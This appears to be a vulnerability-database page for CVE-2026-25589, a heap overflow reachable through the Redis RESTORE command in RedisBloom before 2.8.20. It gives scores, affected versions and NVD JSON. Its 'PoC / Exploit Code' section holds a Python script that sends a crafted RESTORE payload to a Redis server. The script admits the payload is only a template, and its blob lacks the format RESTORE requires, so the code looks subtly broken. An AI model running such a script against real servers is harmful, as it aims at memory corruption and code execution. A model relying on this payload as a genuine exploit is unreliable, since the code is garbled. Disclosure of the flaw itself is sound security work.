Security Vulnerability Report
中文
CVE-2026-25589 CVSS 8.8 HIGH

CVE-2026-25589

Published: 2026-05-05 17:17:04
Last Modified: 2026-05-07 13:44:18

Description

RedisBloom is a probabilistic data structures module for Redis. In all versions of RedisBloom before 2.8.20, the module does not properly validate serialized values processed through the Redis RESTORE command. An authenticated attacker with permission to execute RESTORE on a server with the RedisBloom module loaded can supply a crafted serialized payload that triggers invalid memory access and may lead to remote code execution. A workaround is to restrict access to the RESTORE command with ACL rules. This issue is fixed in version 2.8.20.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:redisbloom:redisbloom:*:*:*:*:*:*:*:* - VULNERABLE
RedisBloom < 2.8.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import redis import struct # Target configuration TARGET_HOST = '127.0.0.1' TARGET_PORT = 6379 PASSWORD = 'your_redis_password' # If auth is required # Connect to Redis r = redis.Redis(host=TARGET_HOST, port=TARGET_PORT, password=PASSWORD, decode_responses=False) try: if PASSWORD: r.auth(PASSWORD) print("[+] Connected to Redis") # Check if RedisBloom is loaded module_list = r.execute_command('MODULE', 'LIST') if not any(b'RedisBloom' in m for m in module_list): print("[-] RedisBloom module not loaded") exit(1) print("[+] RedisBloom module detected") # CVE-2026-25589 PoC Logic # The vulnerability is triggered via the RESTORE command with a crafted payload. # This payload is designed to trigger invalid memory access in the RedisBloom module. # Note: Actual exploit payload requires specific memory layout knowledge (ROP chains, etc.). # Below is a template demonstrating the trigger mechanism. key_name = "poc_cve_2026_25589" # A malicious serialized blob (simulated) # In a real exploit, this blob would contain crafted data to corrupt the heap. # Example header for a Redis object (type String, encoding raw) malicious_payload = b"\x0e" # Type String malicious_payload += b"\x00\x00\x00\x00" # Encoding (Raw) malicious_payload += b"\x00\x00\x00\x00" # LRU clock malicious_payload += struct.pack('<I', 1337) # Length of the string (arbitrary) malicious_payload += b"A" * 1337 # Padding/Trigger data # Attempt to restore the malicious payload # REPLACE flag is used to overwrite existing keys if necessary print("[*] Sending malicious RESTORE command...") try: r.execute_command('RESTORE', key_name, 0, malicious_payload, 'REPLACE') print("[+] Command sent, check server status for crash or code execution.") except redis.exceptions.ResponseError as e: print(f"[!] Server responded with error: {e}") # An error here might indicate the payload was rejected or triggered the bug # depending on the nature of the corruption (crash vs exception). except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-25589", "sourceIdentifier": "[email protected]", "published": "2026-05-05T17:17:03.940", "lastModified": "2026-05-07T13:44:17.907", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "RedisBloom is a probabilistic data structures module for Redis. In all versions of RedisBloom before 2.8.20, the module does not properly validate serialized values processed through the Redis RESTORE command. An authenticated attacker with permission to execute RESTORE on a server with the RedisBloom module loaded can supply a crafted serialized payload that triggers invalid memory access and may lead to remote code execution. A workaround is to restrict access to the RESTORE command with ACL rules. This issue is fixed in version 2.8.20."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redisbloom:redisbloom:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.8.20", "matchCriteriaId": "F671B2DB-B74C-4B26-A496-005FF911B3D5"}]}]}], "references": [{"url": "https://github.com/RedisBloom/RedisBloom/releases/tag/v2.8.20", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://github.com/RedisBloom/RedisBloom/security/advisories/GHSA-7862-34pw-44wv", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}